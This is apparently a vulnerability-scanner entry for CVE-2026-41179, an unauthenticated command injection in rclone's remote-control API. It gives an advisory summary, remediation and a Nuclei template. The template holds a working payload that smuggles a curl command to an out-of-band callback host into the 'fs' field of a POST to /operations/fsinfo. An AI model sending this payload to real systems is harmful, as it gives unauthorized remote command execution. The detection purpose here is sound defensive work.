RClone RC - Command Injection
CVE-2026-41179
Verified
Description
Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.
Severity
Critical
CVSS Score
9.2
Exploit Probability
5%
Affected Product
rclone
Published Date
April 23, 2026
Template Author
theamanrawat
CVE-2026-41179.yaml
id: CVE-2026-41179
info:
name: RClone RC - Command Injection
author: theamanrawat
severity: critical
description: |
Rclone >= 1.48.0 and < 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.
impact: |
Unauthenticated attackers can execute local commands remotely, potentially leading to full system compromise.
remediation: |
Update to version 1.73.5 or later.
reference:
- https://github.com/rclone/rclone/security/advisories/GHSA-jfwf-28xr-xw6q
- https://nvd.nist.gov/vuln/detail/CVE-2026-41179
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
cvss-score: 9.2
cve-id: CVE-2026-41179
epss-score: 0.04748
epss-percentile: 0.89549
cwe-id: CWE-78
metadata:
verified: true
max-request: 2
vendor: rclone
product: rclone
tags: cve,cve2026,rce,rclone,webdav,oast,unauth
flow: http(1) && http(2)
http:
- raw:
- |
POST /rc/noop HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{}
matchers:
- type: dsl
dsl:
- 'contains(body, "{}")'
- 'contains(content_type, "application/json")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /operations/fsinfo HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"fs":":webdav,url='http://{{interactsh-url}}/',vendor=other,bearer_token_command='curl http://{{interactsh-url}}/{{randstr}}':"}
matchers:
- type: dsl
dsl:
- 'contains(body, "Features")'
- 'contains(interactsh_protocol, "http")'
- 'status_code == 200'
condition: and
# digest: 4a0a004730450221009e291a546e11f0d45926695fe0409fc2fd795de8769e7e246b5c2eee8353c77f022022aa064c39a8825a3aee3faf061cf37aa34c33d7d32ff4a869ebc4cafbc0fa8a:922c64590222798bb761d5b6d8e729509.2Score
CVSS Metrics
CVSS Vector:
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVE ID:
cve-2026-41179
CWE ID:
cwe-78
Remediation Steps
Update to version 1.73.5 or later.